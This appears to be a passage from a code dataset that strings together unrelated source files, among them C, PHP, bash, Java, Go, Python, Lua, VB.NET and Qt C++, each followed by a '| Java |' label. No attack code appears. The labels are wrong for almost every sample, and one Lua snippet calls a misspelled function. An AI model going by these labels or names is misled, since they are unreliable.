}
if (timer__done)
break;
usleep(sleep_useconds);
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* The sem_timedwait function will sleep happily until the absolutely specified
* time has been reached. */
while ((ret = sem_timedwait(&timer__semaphore, &new_time)) == -1 && errno == EINTR)
continue; /* restart if interrupted by handler */
if (ret == 0)
break; /* if the semaphore was hit, we're done */
if (errno != ETIMEDOUT)
perror("sem_timedwait");
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
#ifndef NDEBUG
if (gettimeofday(¤t_time, NULL) != 0) {
perror("gettimeofday");
return (void*)-1;
}
fprintf(stderr, "timer__run: Awake! Time is now %i (%02i:%02i:%02i.%06i).\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec);
#endif
/* Poke other thread to switch memory */
previously_active = timer__memory->active;
raise(SIGUSR1);
sleep(1); /* wait a second to let other thread finish switching memory */
assert(previously_active != timer__memory->active);
if (first_run_skipped) {
/* Delegate the actual writing to storage. */
out_write(sample_begin_time, INTERVAL_SECONDS,
timer__memory->rtphash[previously_active]);
} else {
/* On first run, we started too late in the interval. Ignore those counts. */
first_run_skipped = 1;
}
/* Reset mem for next run */
sniff_release(&timer__memory->rtphash[previously_active]);
}
#ifndef NDEBUG
fprintf(stderr, "timer__run: Thread done.\n");
#endif
return 0;
}
| Java |
<?php
session_start();
include_once 'inc/vcode.inc.php';
$_SESSION['vcode']=vcode(100,40,30,4);
?> | Java |
#!/bin/bash
version=$1
out=${2:-"copyq-${version}.tar.gz"}
version_file="src/common/version.cpp"
set -e
die () {
echo "ERROR: $*"
exit 1
}
grep -q '^# v'"$version"'$' "CHANGES.md" ||
die "CHANGES file doesn't contain changes for given version!"
grep -q '"'"$version"'"' "$version_file" ||
die "String for given version is missing in \"$version_file\" file!"
git archive --format=tar.gz --prefix="copyq-$version/" --output="$out" "v$version" ||
die "First arguments must be existing version (tag v<VERSION> must exist in repository)!"
echo "Created source package for version $version: $out"
size=$(stat --format="%s" "$out")
hash=$(md5sum "$out" | cut -d' ' -f 1)
echo " $hash $size $out"
| Java |
/**
* OpenKM, Open Document Management System (http://www.openkm.com)
* Copyright (c) 2006-2015 Paco Avila & Josep Llort
*
* No bytes were intentionally harmed during the development of this application.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package com.openkm.servlet;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.openkm.util.FormatUtil;
import org.apache.commons.io.IOUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.openkm.api.OKMDocument;
import com.openkm.api.OKMRepository;
import com.openkm.bean.Document;
import com.openkm.core.Config;
import com.openkm.core.PathNotFoundException;
import com.openkm.core.RepositoryException;
import com.openkm.util.PathUtils;
import com.openkm.util.WebUtils;
/**
* Download Servlet
*/
public class DownloadServlet extends BasicSecuredServlet {
private static Logger log = LoggerFactory.getLogger(DownloadServlet.class);
private static final long serialVersionUID = 1L;
/**
*
*/
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
String userId = request.getRemoteUser();
String path = WebUtils.getString(request, "path");
String uuid = WebUtils.getString(request, "uuid");
boolean inline = WebUtils.getBoolean(request, "inline");
InputStream is = null;
try {
// Now an document can be located by UUID
if (uuid != null && !uuid.isEmpty()) {
uuid = FormatUtil.sanitizeInput(uuid);
path = OKMRepository.getInstance().getNodePath(null, uuid);
} else if (path != null && !path.isEmpty()) {
path = FormatUtil.sanitizeInput(path);
}
if (path != null) {
Document doc = OKMDocument.getInstance().getProperties(null, path);
String fileName = PathUtils.getName(doc.getPath());
// Optinal append version to download ( not when doing checkout )
if (Config.VERSION_APPEND_DOWNLOAD) {
String versionToAppend = " rev " + OKMDocument.getInstance().getProperties(null,uuid).getActualVersion().getName();
String[] nameParts = fileName.split("\\.(?=[^\\.]+$)");
fileName = nameParts[0] + versionToAppend + "." + nameParts[1];
}
log.info("Download {} by {} ({})", new Object[] { path, userId, (inline ? "inline" : "attachment") });
is = OKMDocument.getInstance().getContent(null, path, false);
WebUtils.sendFile(request, response, fileName, doc.getMimeType(), inline, is);
} else {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("Missing document reference");
out.close();
}
} catch (PathNotFoundException e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "PathNotFoundException: " + e.getMessage());
} catch (RepositoryException e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "RepositoryException: " + e.getMessage());
} catch (Exception e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, e.getMessage());
} finally {
IOUtils.closeQuietly(is);
}
}
}
| Java |
package mysqlgoutils
import (
"testing"
)
func TestSplitHostOptionalPortAndSchema(t *testing.T) {
assertSplit := func(addr, expectHost string, expectPort int, expectSchema string, expectErr bool) {
host, port, schema, err := SplitHostOptionalPortAndSchema(addr)
if host != expectHost {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return host of \"%s\", instead found \"%s\"", addr, expectHost, host)
}
if port != expectPort {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return port of %d, instead found %d", addr, expectPort, port)
}
if schema != expectSchema {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return schema of %d, instead found \"%s\"", addr, expectSchema, schema)
}
if expectErr && err == nil {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return an error, but instead found nil", addr)
} else if !expectErr && err != nil {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return NOT return an error, but instead found %s", addr, err)
}
}
assertSplit("", "", 0, "", true)
assertSplit("foo", "foo", 0, "", false)
assertSplit("1.2.3.4", "1.2.3.4", 0, "", false)
assertSplit("some.host:1234", "some.host", 1234, "", false)
assertSplit("some.host:text", "", 0, "", true)
assertSplit("some.host:1234:5678", "", 0, "", true)
assertSplit("some.host:0", "", 0, "", true)
assertSplit("some.host:-5", "", 0, "", true)
assertSplit("fe80::1", "", 0, "", true)
assertSplit("[fe80::1]", "[fe80::1]", 0, "", false)
assertSplit("[fe80::1]:3306", "[fe80::1]", 3306, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]", "[fe80::bd0f:a8bc:6480:238b%11]", 0, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:443", "[fe80::bd0f:a8bc:6480:238b%11]", 443, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:sup", "", 0, "", true)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:123:456", "", 0, "", true)
assertSplit("|dbtest", "", 0, "", true)
assertSplit("1.2.3.4|", "", 0, "", true)
assertSplit("1.2.3.4|dbtest", "1.2.3.4", 0, "dbtest", false)
assertSplit("1.2.3.4:1234|dbtest", "1.2.3.4", 1234, "dbtest", false)
assertSplit("1.2.3.4:1234|dbtest|foo", "", 0, "", true)
assertSplit("some.host", "some.host", 0, "", false)
assertSplit("some.host|dbtest", "some.host", 0, "dbtest", false)
assertSplit("some.host:1234|dbtest", "some.host", 1234, "dbtest", false)
}
| Java |
#
# Copyright (c) 2013 Christopher L. Felton
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
try:
from setuptools import setup
from setuptools import find_packages
except ImportError:
from distutils.core import setup
from pkgutil import walk_packages
import mn
# many pypy installs don't have setuptools (?)
def _find_packages(path='.', prefix=''):
yield prefix
prefix = prefix + "."
for _, name, ispkg in walk_packages(path,
prefix,
onerror=lambda x: x):
if ispkg:
yield name
def find_packages():
return list(_find_packages(mn.__path__, mn.__name__))
setup(name = "minnesota",
version = "0.1pre",
description = "collection of HDL cores ",
license = "LGPL",
platforms = ["Any"],
keywords = "DSP HDL MyHDL FPGA FX2 USB",
packages = find_packages(),
# @todo need to add the examples and test directories,
# copy it over ...
)
| Java |
/* FILE GeneticOperations.hh
** PACKAGE GeneticOperations
** AUTHOR Edward S. Blurock
**
** CONTENT
** Prototypes for the "GeneticOperations" package in the CoreObjects environment
**
** COPYRIGHT (C) 1997 Edward S. Blurock
*/
#ifndef CoreObjects_GENETICOPERATIONS_HH
#define CoreObjects_GENETICOPERATIONS_HH
#define GENETIC_DISTRIBUTION_ID GENETIC_BASE + 2
#define GENETIC_DISTRIBUTION_NAME "GeneticDistribution"
#define GENETIC_STDDEV_ID GENETIC_BASE + 3
#define GENETIC_STDDEV_NAME "GeneticStdDev"
#define GENETIC_INTERVAL_ID GENETIC_BASE + 4
#define GENETIC_INTERVAL_NAME "GeneticInterval"
#define GENETIC_CONSTANT_ID GENETIC_BASE + 6
#define GENETIC_CONSTANT_NAME "GeneticConstant"
#define GENETIC_SETOFPARAMS_ID GENETIC_BASE + 5
#define GENETIC_SETOFPARAMS_NAME "GeneticSetOfParameters"
#define SET_NAME1 "C1"
#define SET_NAME2 "C2"
/*I . . . INCLUDES . . . . . . . . . . . . . . . . . . . . . . . . . . . .
*/
#include "GeneticOperationsType.hh"
/*P . . . PROTOTYPES . . . . . . . . . . . . . . . . . . . . . . . . . . .
*/
extern void InitialGeneticEncodeDecodeRoutines();
void AddGeneticClasses(DataSetOfObjectsClass& set);
BaseDataSetOfObjects *PairSet(DataObjectClass *popobjectbase);
#endif
| Java |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_View
* @subpackage Helper
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @version $Id: HeadScript.php 23775 2011-03-01 17:25:24Z ralph $
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
/** Zend_View_Helper_Placeholder_Container_Standalone */
require_once 'Zend/View/Helper/Placeholder/Container/Standalone.php';
/**
* Helper for setting and retrieving script elements for HTML head section
*
* @uses Zend_View_Helper_Placeholder_Container_Standalone
* @package Zend_View
* @subpackage Helper
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_View_Helper_HeadScript extends Zend_View_Helper_Placeholder_Container_Standalone
{
/**#@+
* Script type contants
* @const string
*/
const FILE = 'FILE';
const SCRIPT = 'SCRIPT';
/**#@-*/
/**
* Registry key for placeholder
* @var string
*/
protected $_regKey = 'Zend_View_Helper_HeadScript';
/**
* Are arbitrary attributes allowed?
* @var bool
*/
protected $_arbitraryAttributes = false;
/**#@+
* Capture type and/or attributes (used for hinting during capture)
* @var string
*/
protected $_captureLock;
protected $_captureScriptType = null;
protected $_captureScriptAttrs = null;
protected $_captureType;
/**#@-*/
/**
* Optional allowed attributes for script tag
* @var array
*/
protected $_optionalAttributes = array('charset', 'defer', 'language',
'src');
/**
* Required attributes for script tag
* @var string
*/
protected $_requiredAttributes = array('type');
/**
* Whether or not to format scripts using CDATA; used only if doctype
* helper is not accessible
* @var bool
*/
public $useCdata = false;
/**
* Constructor
*
* Set separator to PHP_EOL.
*
* @return void
*/
public function __construct ()
{
parent::__construct();
$this->setSeparator(PHP_EOL);
}
/**
* Return headScript object
*
* Returns headScript helper object; optionally, allows specifying a script
* or script file to include.
*
* @param string $mode Script or file
* @param string $spec Script/url
* @param string $placement Append, prepend, or set
* @param array $attrs Array of script attributes
* @param string $type Script type and/or array of script attributes
* @return Zend_View_Helper_HeadScript
*/
public function headScript ($mode = Zend_View_Helper_HeadScript::FILE, $spec = null, $placement = 'APPEND',
array $attrs = array(), $type = 'text/javascript')
{
if ((null !== $spec) && is_string($spec)) {
$action = ucfirst(strtolower($mode));
$placement = strtolower($placement);
switch ($placement) {
case 'set':
case 'prepend':
case 'append':
$action = $placement . $action;
break;
default:
$action = 'append' . $action;
break;
}
$this->$action($spec, $type, $attrs);
}
return $this;
}
/**
* Start capture action
*
* @param mixed $captureType
* @param string $typeOrAttrs
* @return void
*/
public function captureStart (
$captureType = Zend_View_Helper_Placeholder_Container_Abstract::APPEND, $type = 'text/javascript', $attrs = array())
{
if ($this->_captureLock) {
require_once 'Zend/View/Helper/Placeholder/Container/Exception.php';
$e = new Zend_View_Helper_Placeholder_Container_Exception(
'Cannot nest headScript captures');
$e->setView($this->view);
throw $e;
}
$this->_captureLock = true;
$this->_captureType = $captureType;
$this->_captureScriptType = $type;
$this->_captureScriptAttrs = $attrs;
ob_start();
}
/**
* End capture action and store
*
* @return void
*/
public function captureEnd ()
{
$content = ob_get_clean();
$type = $this->_captureScriptType;
$attrs = $this->_captureScriptAttrs;
$this->_captureScriptType = null;
$this->_captureScriptAttrs = null;
$this->_captureLock = false;
switch ($this->_captureType) {
case Zend_View_Helper_Placeholder_Container_Abstract::SET:
case Zend_View_Helper_Placeholder_Container_Abstract::PREPEND:
case Zend_View_Helper_Placeholder_Container_Abstract::APPEND:
$action = strtolower($this->_captureType) . 'Script';
break;
default:
$action = 'appendScript';
break;
}
$this->$action($content, $type, $attrs);
}
/**
* Overload method access
*
* Allows the following method calls:
* - appendFile($src, $type = 'text/javascript', $attrs = array())
* - offsetSetFile($index, $src, $type = 'text/javascript', $attrs = array())
* - prependFile($src, $type = 'text/javascript', $attrs = array())
* - setFile($src, $type = 'text/javascript', $attrs = array())
* - appendScript($script, $type = 'text/javascript', $attrs = array())
* - offsetSetScript($index, $src, $type = 'text/javascript', $attrs = array())
* - prependScript($script, $type = 'text/javascript', $attrs = array())
* - setScript($script, $type = 'text/javascript', $attrs = array())
*
* @param string $method
* @param array $args
* @return Zend_View_Helper_HeadScript
* @throws Zend_View_Exception if too few arguments or invalid method
*/
public function __call ($method, $args)
{
if (preg_match(
'/^(?P<action>set|(ap|pre)pend|offsetSet)(?P<mode>File|Script)$/',
$method, $matches)) {
if (1 > count($args)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
sprintf('Method "%s" requires at least one argument', $method));
$e->setView($this->view);
throw $e;
}
$action = $matches['action'];
$mode = strtolower($matches['mode']);
$type = 'text/javascript';
$attrs = array();
if ('offsetSet' == $action) {
$index = array_shift($args);
if (1 > count($args)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
sprintf(
'Method "%s" requires at least two arguments, an index and source',
$method));
$e->setView($this->view);
throw $e;
}
}
$content = $args[0];
if (isset($args[1])) {
$type = (string) $args[1];
}
if (isset($args[2])) {
$attrs = (array) $args[2];
}
switch ($mode) {
case 'script':
$item = $this->createData($type, $attrs, $content);
if ('offsetSet' == $action) {
$this->offsetSet($index, $item);
} else {
$this->$action($item);
}
break;
case 'file':
default:
if (! $this->_isDuplicate($content)) {
$attrs['src'] = $content;
$item = $this->createData($type, $attrs);
if ('offsetSet' == $action) {
$this->offsetSet($index, $item);
} else {
$this->$action($item);
}
}
break;
}
return $this;
}
return parent::__call($method, $args);
}
/**
* Is the file specified a duplicate?
*
* @param string $file
* @return bool
*/
protected function _isDuplicate ($file)
{
foreach ($this->getContainer() as $item) {
if (($item->source === null) &&
array_key_exists('src', $item->attributes) &&
($file == $item->attributes['src'])) {
return true;
}
}
return false;
}
/**
* Is the script provided valid?
*
* @param mixed $value
* @param string $method
* @return bool
*/
protected function _isValid ($value)
{
if ((! $value instanceof stdClass) || ! isset($value->type) ||
(! isset($value->source) && ! isset($value->attributes))) {
return false;
}
return true;
}
/**
* Override append
*
* @param string $value
* @return void
*/
public function append ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to append(); please use one of the helper methods, appendScript() or appendFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->append($value);
}
/**
* Override prepend
*
* @param string $value
* @return void
*/
public function prepend ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to prepend(); please use one of the helper methods, prependScript() or prependFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->prepend($value);
}
/**
* Override set
*
* @param string $value
* @return void
*/
public function set ($value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to set(); please use one of the helper methods, setScript() or setFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->set($value);
}
/**
* Override offsetSet
*
* @param string|int $index
* @param mixed $value
* @return void
*/
public function offsetSet ($index, $value)
{
if (! $this->_isValid($value)) {
require_once 'Zend/View/Exception.php';
$e = new Zend_View_Exception(
'Invalid argument passed to offsetSet(); please use one of the helper methods, offsetSetScript() or offsetSetFile()');
$e->setView($this->view);
throw $e;
}
return $this->getContainer()->offsetSet($index, $value);
}
/**
* Set flag indicating if arbitrary attributes are allowed
*
* @param bool $flag
* @return Zend_View_Helper_HeadScript
*/
public function setAllowArbitraryAttributes ($flag)
{
$this->_arbitraryAttributes = (bool) $flag;
return $this;
}
/**
* Are arbitrary attributes allowed?
*
* @return bool
*/
public function arbitraryAttributesAllowed ()
{
return $this->_arbitraryAttributes;
}
/**
* Create script HTML
*
* @param string $type
* @param array $attributes
* @param string $content
* @param string|int $indent
* @return string
*/
public function itemToString ($item, $indent, $escapeStart, $escapeEnd)
{
$attrString = '';
if (! empty($item->attributes)) {
foreach ($item->attributes as $key => $value) {
if (! $this->arbitraryAttributesAllowed() &&
! in_array($key, $this->_optionalAttributes)) {
continue;
}
if ('defer' == $key) {
$value = 'defer';
}
$attrString .= sprintf(' %s="%s"', $key,
($this->_autoEscape) ? $this->_escape($value) : $value);
}
}
$type = ($this->_autoEscape) ? $this->_escape($item->type) : $item->type;
$html = '<script type="' . $type . '"' . $attrString . '>';
if (! empty($item->source)) {
$html .= PHP_EOL . $indent . ' ' . $escapeStart . PHP_EOL .
$item->source . $indent . ' ' . $escapeEnd . PHP_EOL . $indent;
}
$html .= '</script>';
if (isset($item->attributes['conditional']) &&
! empty($item->attributes['conditional']) &&
is_string($item->attributes['conditional'])) {
$html = $indent . '<!--[if ' . $item->attributes['conditional'] .
']> ' . $html . '<![endif]-->';
} else {
$html = $indent . $html;
}
return $html;
}
/**
* Retrieve string representation
*
* @param string|int $indent
* @return string
*/
public function toString ($indent = null)
{
$indent = (null !== $indent) ? $this->getWhitespace($indent) : $this->getIndent();
if ($this->view) {
$useCdata = $this->view->doctype()->isXhtml() ? true : false;
} else {
$useCdata = $this->useCdata ? true : false;
}
$escapeStart = ($useCdata) ? '//<![CDATA[' : '//<!--';
$escapeEnd = ($useCdata) ? '//]]>' : '//-->';
$items = array();
$this->getContainer()->ksort();
foreach ($this as $item) {
if (! $this->_isValid($item)) {
continue;
}
$items[] = $this->itemToString($item, $indent, $escapeStart,
$escapeEnd);
}
$return = implode($this->getSeparator(), $items);
return $return;
}
/**
* Create data item containing all necessary components of script
*
* @param string $type
* @param array $attributes
* @param string $content
* @return stdClass
*/
public function createData ($type, array $attributes, $content = null)
{
$data = new stdClass();
$data->type = $type;
$data->attributes = $attributes;
$data->source = $content;
return $data;
}
}
| Java |
function onStepIn(cid, item, pos)
if getPlayerStandageValue(cid,10001) == 1 and getPlayerStandageValue(cid,10002) == 1 and getPlayerStandageValue(cid,10003) == 1 and getPlayerStandageValue(cid,10004) == 1 and getPlayerStandageValue(cid,10005) == 1 and getPlayerStandageValue(cid,10006) == 1 and getPlayerStandageValue(cid,10007) == 1 and getPlayerStandageValue(cid,10008) == 1 then
setPlayerStorageValue(cid,83422,1)
end | Java |
<?php
namespace Minsal\ModeloBundle\DependencyInjection;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\Config\FileLocator;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;
use Symfony\Component\DependencyInjection\Loader;
/**
* This is the class that loads and manages your bundle configuration.
*
* @link http://symfony.com/doc/current/cookbook/bundles/extension.html
*/
class MinsalModeloExtension extends Extension
{
/**
* {@inheritdoc}
*/
public function load(array $configs, ContainerBuilder $container)
{
$configuration = new Configuration();
$config = $this->processConfiguration($configuration, $configs);
$loader = new Loader\YamlFileLoader($container, new FileLocator(__DIR__.'/../Resources/config'));
$loader->load('services.yml');
}
}
| Java |
# Name
Aswin M Guptha
### Academics
BTech CSE from [Amrita University](https://www.amrita.edu)
### Projects
[My Projects](https://www.github.com/aswinmguptha)
Links to my projects
### Profile Link
[GitHub](https://github.com/aswinmguptha)
[GitLab](https://gitlab.com/aswinmguptha)
[Twitter](https://twitter.com/aswinmguptha)
| Java |
/* Copyright (C) 2012-2014 Carlos Pais
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "get_user_input.h"
#include <QTextCodec>
GetUserInput::GetUserInput(QObject *parent) :
Action(parent)
{
init();
}
GetUserInput::GetUserInput(const QVariantMap& data, QObject *parent):
Action(data, parent)
{
init();
loadInternal(data);
}
void GetUserInput::init()
{
setType(GameObjectMetaType::GetUserInput);
}
void GetUserInput::loadData(const QVariantMap & data, bool internal)
{
if (!internal)
Action::loadData(data, internal);
if (data.contains("message") && data.value("message").type() == QVariant::String)
setMessage(data.value("message").toString());
if (data.contains("variable") && data.value("variable").type() == QVariant::String)
setVariable(data.value("variable").toString());
if (data.contains("defaultValue") && data.value("defaultValue").type() == QVariant::String)
setDefaultValue(data.value("defaultValue").toString());
}
QString GetUserInput::variable()
{
return mVariable;
}
void GetUserInput::setVariable(const QString & var)
{
if (var != mVariable) {
mVariable = var;
notify("variable", mVariable);
}
}
QString GetUserInput::message()
{
return mMessage;
}
void GetUserInput::setMessage(const QString & msg)
{
if (msg != mMessage) {
mMessage = msg;
notify("message", mMessage);
}
}
QString GetUserInput::defaultValue()
{
return mDefaultValue;
}
void GetUserInput::setDefaultValue(const QString & value)
{
if (value != mDefaultValue) {
mDefaultValue = value;
notify("defaultValue", mDefaultValue);
}
}
QString GetUserInput::displayText() const
{
QString var("");
QString text(tr("Prompt") + " ");
text += QString("\"%1\"").arg(mMessage);
if (mVariable.size())
var = " " + tr("and store reply in") + " $" + mVariable;
text += var;
return text;
}
QVariantMap GetUserInput::toJsonObject(bool internal) const
{
QVariantMap object = Action::toJsonObject(internal);
QTextCodec *codec = QTextCodec::codecForName("UTF-8");
if (! codec)
codec = QTextCodec::codecForLocale();
object.insert("message", mMessage);
object.insert("variable", mVariable);
object.insert("defaultValue", mDefaultValue);
return object;
}
| Java |
#include<stdio.h>
#include<big_integer.h>
#include<string.h>
#include<time.h>
#include"gen_lib.h"
int main(int argc,char** argv)
{
if(argc<3)
{
printf("usage %s <length> <num> \n",argv[0]);
exit(-1);
}
FILE* bash=fopen("bash.dat","w+");
FILE* python=fopen("py.dat","w+");
int length=atoi(argv[1]);
int num=atoi(argv[2]);
srand(time(NULL));
set_exe_name("");
gen_cmp(bash,python,length,num);
fwrite("\nquit\n",1,strlen("\nquit"),bash);
fclose(bash);
fclose(python);
return 0;
}
| Java |
Imports System.Globalization
Imports P3D.Legacy.Core.Screens
Namespace ScriptVersion2
Partial Class ScriptComparer
'--------------------------------------------------------------------------------------------------------------------------
'Contains the <environment> constructs.
'--------------------------------------------------------------------------------------------------------------------------
Private Shared Function DoEnvironment(ByVal subClass As String) As Object
Dim command As String = GetSubClassArgumentPair(subClass).Command
Dim argument As String = GetSubClassArgumentPair(subClass).Argument
Select Case command.ToLower()
Case "daytime"
Return World.GetTime.ToString(CultureInfo.InvariantCulture)
Case "daytimeid"
Return int(CInt(World.GetTime)).ToString(CultureInfo.InvariantCulture)
Case "season"
Return World.CurrentSeason.ToString(CultureInfo.InvariantCulture)
Case "seasonid"
Return int(CInt(World.CurrentSeason)).ToString(CultureInfo.InvariantCulture)
Case "day"
Return My.Computer.Clock.LocalTime.DayOfWeek.ToString(CultureInfo.InvariantCulture)
Case "dayofyear"
Return My.Computer.Clock.LocalTime.DayOfYear().ToString(CultureInfo.InvariantCulture)
Case "dayinformation"
Return My.Computer.Clock.LocalTime.DayOfWeek.ToString(CultureInfo.InvariantCulture) & "," & World.GetTime.ToString(CultureInfo.InvariantCulture)
Case "week"
Return World.WeekOfYear.ToString(CultureInfo.InvariantCulture)
Case "hour"
Return My.Computer.Clock.LocalTime.Hour.ToString(CultureInfo.InvariantCulture)
Case "year"
Return My.Computer.Clock.LocalTime.Year.ToString(CultureInfo.InvariantCulture)
Case "weather", "mapweather", "currentmapweather"
Return Screen.Level.World.CurrentWeather.ToString(CultureInfo.InvariantCulture)
Case "weatherid", "mapweatherid", "currentmapweatherid"
Return int(CInt(Screen.Level.World.CurrentWeather)).ToString(CultureInfo.InvariantCulture)
Case "regionweather"
Return World.GetCurrentRegionWeather().ToString(CultureInfo.InvariantCulture)
Case "regionweatherid"
Return int(CInt(World.GetCurrentRegionWeather())).ToString(CultureInfo.InvariantCulture)
Case "canfly"
Return ReturnBoolean(Screen.Level.CanFly)
Case "candig"
Return ReturnBoolean(Screen.Level.CanDig)
Case "canteleport"
Return ReturnBoolean(Screen.Level.CanTeleport)
Case "wildpokemongrass"
Return ReturnBoolean(Screen.Level.WildPokemonGrass)
Case "wildpokemonwater"
Return ReturnBoolean(Screen.Level.WildPokemonWater)
Case "wildpokemoneverywhere"
Return ReturnBoolean(Screen.Level.WildPokemonFloor)
Case "isdark"
Return ReturnBoolean(Screen.Level.IsDark)
End Select
Return DEFAULTNULL
End Function
End Class
End Namespace | Java |
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#include "buildconfiguration.h"
#include "buildenvironmentwidget.h"
#include "buildinfo.h"
#include "buildsteplist.h"
#include "kit.h"
#include "kitinformation.h"
#include "kitmanager.h"
#include "project.h"
#include "projectexplorer.h"
#include "projectexplorerconstants.h"
#include "projectmacroexpander.h"
#include "projecttree.h"
#include "target.h"
#include <coreplugin/idocument.h>
#include <utils/qtcassert.h>
#include <utils/macroexpander.h>
#include <utils/algorithm.h>
#include <utils/mimetypes/mimetype.h>
#include <utils/mimetypes/mimedatabase.h>
#include <QDebug>
static const char BUILD_STEP_LIST_COUNT[] = "ProjectExplorer.BuildConfiguration.BuildStepListCount";
static const char BUILD_STEP_LIST_PREFIX[] = "ProjectExplorer.BuildConfiguration.BuildStepList.";
static const char CLEAR_SYSTEM_ENVIRONMENT_KEY[] = "ProjectExplorer.BuildConfiguration.ClearSystemEnvironment";
static const char USER_ENVIRONMENT_CHANGES_KEY[] = "ProjectExplorer.BuildConfiguration.UserEnvironmentChanges";
static const char BUILDDIRECTORY_KEY[] = "ProjectExplorer.BuildConfiguration.BuildDirectory";
namespace ProjectExplorer {
BuildConfiguration::BuildConfiguration(Target *target, Core::Id id)
: ProjectConfiguration(target, id)
{
Utils::MacroExpander *expander = macroExpander();
expander->setDisplayName(tr("Build Settings"));
expander->setAccumulating(true);
expander->registerSubProvider([target] { return target->macroExpander(); });
expander->registerVariable("buildDir", tr("Build directory"),
[this] { return buildDirectory().toUserOutput(); });
expander->registerVariable(Constants::VAR_CURRENTBUILD_NAME, tr("Name of current build"),
[this] { return displayName(); }, false);
expander->registerPrefix(Constants::VAR_CURRENTBUILD_ENV,
tr("Variables in the current build environment"),
[this](const QString &var) { return environment().value(var); });
updateCacheAndEmitEnvironmentChanged();
connect(target, &Target::kitChanged,
this, &BuildConfiguration::updateCacheAndEmitEnvironmentChanged);
connect(this, &BuildConfiguration::environmentChanged,
this, &BuildConfiguration::emitBuildDirectoryChanged);
// Many macroexpanders are based on the current project, so they may change the environment:
